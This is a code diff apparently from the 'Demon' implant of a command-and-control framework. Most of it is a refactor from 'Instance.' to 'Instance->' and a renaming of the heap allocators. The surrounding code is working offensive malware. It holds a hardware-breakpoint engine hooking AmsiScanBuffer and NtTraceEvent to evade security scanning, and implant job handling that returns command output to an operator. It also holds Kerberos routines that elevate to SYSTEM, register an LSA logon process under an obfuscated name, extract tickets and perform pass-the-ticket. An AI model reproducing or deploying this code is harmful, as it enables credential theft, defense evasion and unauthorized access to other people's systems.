|
||||
|
||||
@@ -64,7 +64,7 @@ NTSTATUS HwBpEngineSetBp(
|
||||
IN BYTE Position,
|
||||
IN BYTE Add
|
||||
) {
|
||||
DWORD Pid = Instance.Session.PID;
|
||||
DWORD Pid = Instance->Session.PID;
|
||||
CLIENT_ID Client = { 0 };
|
||||
CONTEXT Context = { 0 };
|
||||
HANDLE Thread = NULL;
|
||||
@@ -162,7 +162,7 @@ NTSTATUS HwBpEngineAdd(
|
||||
PRINTF( "Engine:[%p] Tid:[%d] Address:[%p] Function:[%p] Position:[%d]\n", Engine, Tid, Address, Function, Position )
|
||||
|
||||
/* check if engine has been specified */
|
||||
if ( ! HwBpEngine && ! Instance.HwBpEngine ) {
|
||||
if ( ! HwBpEngine && ! Instance->HwBpEngine ) {
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
@@ -173,11 +173,11 @@ NTSTATUS HwBpEngineAdd(
|
||||
|
||||
/* if no engine specified use the global one */
|
||||
if ( ! HwBpEngine ) {
|
||||
HwBpEngine = Instance.HwBpEngine;
|
||||
HwBpEngine = Instance->HwBpEngine;
|
||||
}
|
||||
|
||||
/* create bp entry */
|
||||
BpEntry = NtHeapAlloc( sizeof( BP_LIST ) );
|
||||
BpEntry = MmHeapAlloc( sizeof( BP_LIST ) );
|
||||
BpEntry->Tid = Tid;
|
||||
BpEntry->Address = Address;
|
||||
BpEntry->Function = Function;
|
||||
@@ -199,7 +199,7 @@ NTSTATUS HwBpEngineAdd(
|
||||
|
||||
FAILED:
|
||||
if ( BpEntry ) {
|
||||
NtHeapFree( BpEntry );
|
||||
MmHeapFree( BpEntry );
|
||||
BpEntry = NULL;
|
||||
}
|
||||
|
||||
@@ -215,12 +215,12 @@ NTSTATUS HwBpEngineRemove(
|
||||
PBP_LIST BpEntry = NULL;
|
||||
PBP_LIST BpLast = NULL;
|
||||
|
||||
if ( ! Engine && ! Instance.HwBpEngine ) {
|
||||
if ( ! Engine && ! Instance->HwBpEngine ) {
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
if ( ! HwBpEngine ) {
|
||||
HwBpEngine = Instance.HwBpEngine;
|
||||
HwBpEngine = Instance->HwBpEngine;
|
||||
}
|
||||
|
||||
/* set linked list */
|
||||
@@ -246,7 +246,7 @@ NTSTATUS HwBpEngineRemove(
|
||||
MemZero( BpEntry, sizeof( BP_LIST ) );
|
||||
|
||||
/* free memory struct */
|
||||
NtHeapFree( BpEntry );
|
||||
MmHeapFree( BpEntry );
|
||||
|
||||
break;
|
||||
}
|
||||
@@ -265,16 +265,16 @@ NTSTATUS HwBpEngineDestroy(
|
||||
PBP_LIST BpEntry = NULL;
|
||||
PBP_LIST BpNext = NULL;
|
||||
|
||||
if ( ! Engine && ! Instance.HwBpEngine ) {
|
||||
if ( ! Engine && ! Instance->HwBpEngine ) {
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
if ( ! HwBpEngine ) {
|
||||
HwBpEngine = Instance.HwBpEngine;
|
||||
HwBpEngine = Instance->HwBpEngine;
|
||||
}
|
||||
|
||||
/* remove Vector exception handler */
|
||||
Instance.Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh );
|
||||
Instance->Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh );
|
||||
|
||||
BpEntry = HwBpEngine->Breakpoints;
|
||||
|
||||
@@ -295,16 +295,16 @@ NTSTATUS HwBpEngineDestroy(
|
||||
MemZero( BpEntry, sizeof( BP_LIST ) );
|
||||
|
||||
/* free memory struct */
|
||||
NtHeapFree( BpEntry );
|
||||
MmHeapFree( BpEntry );
|
||||
|
||||
BpEntry = BpNext;
|
||||
} while ( TRUE );
|
||||
|
||||
/* free global state */
|
||||
if ( HwBpEngine == Instance.HwBpEngine ) {
|
||||
NtHeapFree( HwBpEngine );
|
||||
if ( HwBpEngine == Instance->HwBpEngine ) {
|
||||
MmHeapFree( HwBpEngine );
|
||||
|
||||
Instance.HwBpEngine = NULL;
|
||||
Instance->HwBpEngine = NULL;
|
||||
}
|
||||
|
||||
HwBpEngine = NULL;
|
||||
@@ -318,7 +318,7 @@ NTSTATUS HwBpEngineDestroy(
|
||||
* @return
|
||||
*/
|
||||
LONG ExceptionHandler(
|
||||
IN OUT PEXCEPTION_POINTERS Exception
|
||||
_Inout_ PEXCEPTION_POINTERS Exception
|
||||
) {
|
||||
PBP_LIST BpEntry = NULL;
|
||||
BOOL Found = FALSE;
|
||||
@@ -327,7 +327,7 @@ LONG ExceptionHandler(
|
||||
{
|
||||
PRINTF( "Exception Address: %p\n", Exception->ExceptionRecord->ExceptionAddress )
|
||||
|
||||
BpEntry = Instance.HwBpEngine->Breakpoints;
|
||||
BpEntry = Instance->HwBpEngine->Breakpoints;
|
||||
|
||||
/* search in linked list for bp entry */
|
||||
while ( BpEntry )
|
||||
+3
-3
@@ -1,10 +1,10 @@
|
||||
#include <Demon.h>
|
||||
#include <Core/HwBpExceptions.h>
|
||||
#include <core/HwBpExceptions.h>
|
||||
|
||||
#if _WIN64
|
||||
|
||||
VOID HwBpExAmsiScanBuffer(
|
||||
IN OUT PEXCEPTION_POINTERS Exception
|
||||
_Inout_ PEXCEPTION_POINTERS Exception
|
||||
) {
|
||||
PVOID Return = NULL;
|
||||
|
||||
@@ -21,7 +21,7 @@ VOID HwBpExAmsiScanBuffer(
|
||||
}
|
||||
|
||||
VOID HwBpExNtTraceEvent(
|
||||
IN OUT PEXCEPTION_POINTERS Exception
|
||||
_Inout_ PEXCEPTION_POINTERS Exception
|
||||
) {
|
||||
PVOID Return = NULL;
|
||||
|
||||
@@ -1,10 +1,9 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/Jobs.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Core/MiniStd.h>
|
||||
|
||||
#include <Loader/ObjectApi.h>
|
||||
#include <core/Jobs.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/ObjectApi.h>
|
||||
|
||||
/*!
|
||||
* JobAdd
|
||||
@@ -22,7 +21,7 @@ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Hand
|
||||
PJOB_DATA JobList = NULL;
|
||||
PJOB_DATA Job = NULL;
|
||||
|
||||
Job = Instance.Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) );
|
||||
Job = Instance->Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) );
|
||||
|
||||
// fill the Job info and insert it into our linked list
|
||||
Job->RequestID = RequestID;
|
||||
@@ -33,13 +32,13 @@ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Hand
|
||||
Job->Data = Data;
|
||||
Job->Next = NULL;
|
||||
|
||||
if ( Instance.Jobs == NULL )
|
||||
if ( Instance->Jobs == NULL )
|
||||
{
|
||||
Instance.Jobs = Job;
|
||||
Instance->Jobs = Job;
|
||||
return;
|
||||
}
|
||||
|
||||
JobList = Instance.Jobs;
|
||||
JobList = Instance->Jobs;
|
||||
|
||||
do {
|
||||
if ( JobList )
|
||||
@@ -65,7 +64,7 @@ VOID JobCheckList()
|
||||
{
|
||||
PJOB_DATA JobList = NULL;
|
||||
|
||||
JobList = Instance.Jobs;
|
||||
JobList = Instance->Jobs;
|
||||
|
||||
do {
|
||||
if ( ! JobList )
|
||||
@@ -78,7 +77,7 @@ VOID JobCheckList()
|
||||
if ( JobList->State == JOB_STATE_RUNNING )
|
||||
{
|
||||
DWORD Return = 0;
|
||||
Instance.Win32.GetExitCodeProcess( JobList->Handle, &Return );
|
||||
Instance->Win32.GetExitCodeProcess( JobList->Handle, &Return );
|
||||
|
||||
if ( Return != STILL_ACTIVE )
|
||||
JobList->State = JOB_STATE_DEAD;
|
||||
@@ -91,7 +90,7 @@ VOID JobCheckList()
|
||||
if ( JobList->State == JOB_STATE_RUNNING )
|
||||
{
|
||||
DWORD Return = 0;
|
||||
Instance.Win32.GetExitCodeThread( JobList->Handle, &Return );
|
||||
Instance->Win32.GetExitCodeThread( JobList->Handle, &Return );
|
||||
|
||||
if ( Return != STILL_ACTIVE )
|
||||
JobList->State = JOB_STATE_DEAD;
|
||||
@@ -106,7 +105,7 @@ VOID JobCheckList()
|
||||
{
|
||||
DWORD Status = 0;
|
||||
|
||||
Instance.Win32.GetExitCodeProcess( JobList->Handle, &Status );
|
||||
Instance->Win32.GetExitCodeProcess( JobList->Handle, &Status );
|
||||
|
||||
if ( Status != STILL_ACTIVE )
|
||||
{
|
||||
@@ -146,16 +145,16 @@ VOID JobCheckList()
|
||||
PVOID Buffer = NULL;
|
||||
DWORD Size = 0;
|
||||
|
||||
if ( Instance.Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
|
||||
if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
|
||||
{
|
||||
PRINTF( "PeekNamedPipe: Available anon size %d\n", Available );
|
||||
|
||||
if ( Available > 0 )
|
||||
{
|
||||
Size = Available;
|
||||
Buffer = Instance.Win32.LocalAlloc( LPTR, Size );
|
||||
Buffer = Instance->Win32.LocalAlloc( LPTR, Size );
|
||||
|
||||
if ( Instance.Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
|
||||
if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
|
||||
{
|
||||
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID );
|
||||
PackageAddBytes( Package, Buffer, Available );
|
||||
@@ -184,7 +183,7 @@ VOID JobCheckList()
|
||||
*/
|
||||
BOOL JobSuspend( DWORD JobID )
|
||||
{
|
||||
PJOB_DATA JobList = Instance.Jobs;
|
||||
PJOB_DATA JobList = Instance->Jobs;
|
||||
|
||||
while ( JobList )
|
||||
{
|
||||
@@ -230,7 +229,7 @@ BOOL JobSuspend( DWORD JobID )
|
||||
*/
|
||||
BOOL JobResume( DWORD JobID )
|
||||
{
|
||||
PJOB_DATA JobList = Instance.Jobs;
|
||||
PJOB_DATA JobList = Instance->Jobs;
|
||||
|
||||
while ( JobList )
|
||||
{
|
||||
@@ -278,7 +277,7 @@ BOOL JobResume( DWORD JobID )
|
||||
BOOL JobKill( DWORD JobID )
|
||||
{
|
||||
BOOL Success = FALSE;
|
||||
PJOB_DATA JobList = Instance.Jobs;
|
||||
PJOB_DATA JobList = Instance->Jobs;
|
||||
|
||||
while ( JobList )
|
||||
{
|
||||
@@ -300,17 +299,17 @@ BOOL JobKill( DWORD JobID )
|
||||
{
|
||||
PUTS( "Kill using handle" )
|
||||
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) )
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) )
|
||||
{
|
||||
PRINTF( "TerminateThread NtStatus:[%ul]\n", NtStatus )
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PACKAGE_ERROR_WIN32;
|
||||
Success = FALSE;
|
||||
}
|
||||
else
|
||||
{
|
||||
// remove one thread from counter
|
||||
Instance.Threads--;
|
||||
Instance->Threads--;
|
||||
}
|
||||
}
|
||||
else
|
||||
@@ -326,7 +325,7 @@ BOOL JobKill( DWORD JobID )
|
||||
{
|
||||
if ( JobList->State != JOB_STATE_DEAD )
|
||||
{
|
||||
Instance.Win32.TerminateProcess( JobList->Handle, 0 );
|
||||
Instance->Win32.TerminateProcess( JobList->Handle, 0 );
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -335,22 +334,22 @@ BOOL JobKill( DWORD JobID )
|
||||
{
|
||||
if ( JobList->State != JOB_STATE_DEAD )
|
||||
{
|
||||
Instance.Win32.TerminateProcess( JobList->Handle, 0 );
|
||||
Instance->Win32.TerminateProcess( JobList->Handle, 0 );
|
||||
|
||||
// just read what there is available.
|
||||
DWORD Available = 0;
|
||||
PVOID Buffer = NULL;
|
||||
|
||||
if ( Instance.Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
|
||||
if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
|
||||
{
|
||||
PRINTF( "PeekNamedPipe: Available anon size %d\n", Available );
|
||||
|
||||
if ( Available > 0 )
|
||||
{
|
||||
DWORD Size = Available;
|
||||
Buffer = Instance.Win32.LocalAlloc( LPTR, Size );
|
||||
Buffer = Instance->Win32.LocalAlloc( LPTR, Size );
|
||||
|
||||
if ( Instance.Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
|
||||
if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
|
||||
{
|
||||
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID );
|
||||
PackageAddBytes( Package, Buffer, Available );
|
||||
@@ -389,14 +388,14 @@ VOID JobRemove( DWORD JobID )
|
||||
PJOB_DATA JobList = NULL;
|
||||
PJOB_DATA JobToRemove = NULL;
|
||||
|
||||
if ( Instance.Jobs && Instance.Jobs->JobID == JobID )
|
||||
if ( Instance->Jobs && Instance->Jobs->JobID == JobID )
|
||||
{
|
||||
JobToRemove = Instance.Jobs;
|
||||
Instance.Jobs = JobToRemove->Next;
|
||||
JobToRemove = Instance->Jobs;
|
||||
Instance->Jobs = JobToRemove->Next;
|
||||
}
|
||||
else
|
||||
{
|
||||
JobList = Instance.Jobs;
|
||||
JobList = Instance->Jobs;
|
||||
|
||||
while ( JobList )
|
||||
{
|
||||
@@ -427,6 +426,6 @@ VOID JobRemove( DWORD JobID )
|
||||
}
|
||||
|
||||
MemSet( JobToRemove, 0, sizeof( JOB_DATA ) );
|
||||
Instance.Win32.LocalFree( JobToRemove );
|
||||
Instance->Win32.LocalFree( JobToRemove );
|
||||
JobToRemove = NULL;
|
||||
}
|
||||
@@ -1,9 +1,9 @@
|
||||
|
||||
#include <Demon.h>
|
||||
#include <Core/Kerberos.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Token.h>
|
||||
#include <core/Kerberos.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Token.h>
|
||||
|
||||
BOOL IsHighIntegrity(HANDLE TokenHandle)
|
||||
{
|
||||
@@ -12,14 +12,14 @@ BOOL IsHighIntegrity(HANDLE TokenHandle)
|
||||
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||
PSID AdministratorsGroup = NULL;
|
||||
|
||||
Success = Instance.Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup );
|
||||
Success = Instance->Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup );
|
||||
if ( Success )
|
||||
{
|
||||
if ( ! Instance.Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) )
|
||||
if ( ! Instance->Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) )
|
||||
{
|
||||
ReturnValue = FALSE;
|
||||
}
|
||||
Instance.Win32.FreeSid( AdministratorsGroup );
|
||||
Instance->Win32.FreeSid( AdministratorsGroup );
|
||||
AdministratorsGroup = NULL;
|
||||
}
|
||||
|
||||
@@ -32,14 +32,14 @@ DWORD GetProcessIdByName(WCHAR* processName)
|
||||
PROCESSENTRY32W pe32 = { 0 };
|
||||
DWORD Pid = -1;
|
||||
|
||||
hProcessSnap = Instance.Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
hProcessSnap = Instance->Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if ( hProcessSnap == INVALID_HANDLE_VALUE )
|
||||
{
|
||||
return Pid;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
||||
if ( ! Instance.Win32.Process32FirstW( hProcessSnap, &pe32 ) )
|
||||
if ( ! Instance->Win32.Process32FirstW( hProcessSnap, &pe32 ) )
|
||||
{
|
||||
SysNtClose( hProcessSnap );
|
||||
return Pid;
|
||||
@@ -52,7 +52,7 @@ DWORD GetProcessIdByName(WCHAR* processName)
|
||||
break;
|
||||
}
|
||||
|
||||
} while (Instance.Win32.Process32NextW(hProcessSnap, &pe32));
|
||||
} while (Instance->Win32.Process32NextW(hProcessSnap, &pe32));
|
||||
|
||||
SysNtClose( hProcessSnap );
|
||||
return Pid;
|
||||
@@ -109,20 +109,20 @@ BOOL ElevateToSystem()
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF( "TokenDuplicate: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PRINTF( "TokenDuplicate: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
}
|
||||
SysNtClose( hToken );
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
}
|
||||
|
||||
SysNtClose( hProcess );
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
}
|
||||
|
||||
return ReturnValue;
|
||||
@@ -138,16 +138,16 @@ BOOL IsSystem( HANDLE TokenHandle )
|
||||
PSID pSystemSid = NULL;
|
||||
BOOL bSystem = FALSE;
|
||||
|
||||
if ( ! Instance.Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) )
|
||||
if ( ! Instance->Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) )
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) )
|
||||
if ( ! Instance->Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) )
|
||||
return FALSE;
|
||||
|
||||
bSystem = Instance.Win32.EqualSid( pTokenUser->User.Sid, pSystemSid );
|
||||
Instance.Win32.FreeSid( pSystemSid );
|
||||
bSystem = Instance->Win32.EqualSid( pTokenUser->User.Sid, pSystemSid );
|
||||
Instance->Win32.FreeSid( pSystemSid );
|
||||
|
||||
return bSystem;
|
||||
}
|
||||
@@ -160,10 +160,10 @@ NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa )
|
||||
|
||||
if ( ! highIntegrity )
|
||||
{
|
||||
status = Instance.Win32.LsaConnectUntrusted( &hLsaLocal );
|
||||
status = Instance->Win32.LsaConnectUntrusted( &hLsaLocal );
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
{
|
||||
status = Instance.Win32.LsaNtStatusToWinError( status );
|
||||
status = Instance->Win32.LsaNtStatusToWinError( status );
|
||||
}
|
||||
}
|
||||
else
|
||||
@@ -182,24 +182,24 @@ NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa )
|
||||
name[ 9 ] = HideChar('\0');
|
||||
name[ 5 ] = HideChar('o');
|
||||
STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};
|
||||
status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
|
||||
status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
|
||||
if ( ! NT_SUCCESS( status ) || ! hLsaLocal )
|
||||
{
|
||||
if ( IsSystem( hToken ) )
|
||||
{
|
||||
status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
|
||||
status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
{
|
||||
status = Instance.Win32.LsaNtStatusToWinError( status );
|
||||
status = Instance->Win32.LsaNtStatusToWinError( status );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ( ElevateToSystem() )
|
||||
{
|
||||
status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
|
||||
status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
|
||||
if ( ! NT_SUCCESS( status ) ) {
|
||||
status = Instance.Win32.LsaNtStatusToWinError( status );
|
||||
status = Instance->Win32.LsaNtStatusToWinError( status );
|
||||
}
|
||||
TokenRevSelf();
|
||||
}
|
||||
@@ -221,16 +221,16 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )
|
||||
PSECURITY_LOGON_SESSION_DATA logonData = NULL;
|
||||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
sessionData = Instance.Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) );
|
||||
sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) );
|
||||
if ( ! sessionData )
|
||||
return status;
|
||||
|
||||
if ( luid.LowPart != 0 )
|
||||
{
|
||||
status = Instance.Win32.LsaGetLogonSessionData( &luid, &logonData );
|
||||
status = Instance->Win32.LsaGetLogonSessionData( &luid, &logonData );
|
||||
if ( NT_SUCCESS( status ) )
|
||||
{
|
||||
sessionData->sessionData = Instance.Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) );
|
||||
sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) );
|
||||
if ( sessionData->sessionData != NULL )
|
||||
{
|
||||
sessionData->sessionCount = 1;
|
||||
@@ -247,17 +247,17 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )
|
||||
{
|
||||
ULONG logonSessionCount;
|
||||
PLUID logonSessionList;
|
||||
status = Instance.Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList );
|
||||
status = Instance->Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList );
|
||||
if ( NT_SUCCESS( status ) )
|
||||
{
|
||||
sessionData->sessionData = Instance.Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) );
|
||||
sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) );
|
||||
if ( sessionData->sessionData != NULL )
|
||||
{
|
||||
sessionData->sessionCount = logonSessionCount;
|
||||
for ( int i = 0; i < logonSessionCount; i++ )
|
||||
{
|
||||
LUID luid2 = logonSessionList[i];
|
||||
status = Instance.Win32.LsaGetLogonSessionData( &luid2, &logonData );
|
||||
status = Instance->Win32.LsaGetLogonSessionData( &luid2, &logonData );
|
||||
if ( NT_SUCCESS(status) )
|
||||
{
|
||||
sessionData->sessionData[i] = logonData;
|
||||
@@ -267,7 +267,7 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )
|
||||
sessionData->sessionData[i] = NULL;
|
||||
}
|
||||
}
|
||||
Instance.Win32.LsaFreeReturnBuffer( logonSessionList );
|
||||
Instance->Win32.LsaFreeReturnBuffer( logonSessionList );
|
||||
*data = sessionData;
|
||||
}
|
||||
else
|
||||
@@ -290,7 +290,7 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta
|
||||
ULONG TicketSize = 0;
|
||||
PBYTE Ticket = NULL;
|
||||
|
||||
retrieveRequest = Instance.Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) );
|
||||
retrieveRequest = Instance->Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) );
|
||||
if ( ! retrieveRequest )
|
||||
return;
|
||||
|
||||
@@ -304,13 +304,13 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta
|
||||
retrieveRequest->TargetName.Buffer = ( PWSTR )( (PBYTE )retrieveRequest + sizeof( KERB_RETRIEVE_TKT_REQUEST ));
|
||||
MemCopy( retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength );
|
||||
|
||||
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus );
|
||||
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus );
|
||||
if ( NT_SUCCESS( status ) && NT_SUCCESS( protocolStatus ) )
|
||||
{
|
||||
if ( NT_SUCCESS( protocolStatus ) )
|
||||
{
|
||||
TicketSize = retrieveResponse->Ticket.EncodedTicketSize;
|
||||
Ticket = Instance.Win32.LocalAlloc( LPTR, TicketSize );
|
||||
Ticket = Instance->Win32.LocalAlloc( LPTR, TicketSize );
|
||||
if ( Ticket )
|
||||
{
|
||||
MemCopy( Ticket, retrieveResponse->Ticket.EncodedTicket, TicketSize );
|
||||
@@ -329,9 +329,9 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta
|
||||
}
|
||||
|
||||
if ( retrieveResponse )
|
||||
Instance.Win32.LsaFreeReturnBuffer( retrieveResponse );
|
||||
Instance->Win32.LsaFreeReturnBuffer( retrieveResponse );
|
||||
if ( retrieveRequest )
|
||||
Instance.Win32.LocalFree( retrieveRequest );
|
||||
Instance->Win32.LocalFree( retrieveRequest );
|
||||
}
|
||||
|
||||
VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA Data )
|
||||
@@ -347,10 +347,10 @@ VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA
|
||||
Session->Session = Data->Session;
|
||||
// UserSID
|
||||
WCHAR* sid = NULL;
|
||||
if ( Instance.Win32.ConvertSidToStringSidW(Data->Sid, &sid) )
|
||||
if ( Instance->Win32.ConvertSidToStringSidW(Data->Sid, &sid) )
|
||||
{
|
||||
StringCopyW( Session->UserSID, sid );
|
||||
Instance.Win32.LocalFree( sid ); sid = NULL;
|
||||
Instance->Win32.LocalFree( sid ); sid = NULL;
|
||||
}
|
||||
// LogonTime
|
||||
Session->LogonTime.QuadPart = Data->LogonTime.QuadPart;
|
||||
@@ -440,14 +440,14 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )
|
||||
goto END;
|
||||
}
|
||||
|
||||
status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
|
||||
status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
{
|
||||
PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status );
|
||||
goto END;
|
||||
}
|
||||
|
||||
submitRequest = Instance.Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) );
|
||||
submitRequest = Instance->Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) );
|
||||
if ( ! submitRequest )
|
||||
goto END;
|
||||
|
||||
@@ -462,7 +462,7 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )
|
||||
|
||||
MemCopy( RVA( PBYTE, submitRequest, submitRequest->KerbCredOffset ), Ticket, TicketSize );
|
||||
|
||||
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus );
|
||||
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus );
|
||||
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
{
|
||||
@@ -481,10 +481,10 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )
|
||||
|
||||
END:
|
||||
if ( submitRequest ) {
|
||||
Instance.Win32.LocalFree( submitRequest );
|
||||
Instance->Win32.LocalFree( submitRequest );
|
||||
}
|
||||
if ( hLsa ) {
|
||||
Instance.Win32.LsaDeregisterLogonProcess( hLsa );
|
||||
Instance->Win32.LsaDeregisterLogonProcess( hLsa );
|
||||
}
|
||||
MemZero( name, sizeof( name ) );
|
||||
|
||||
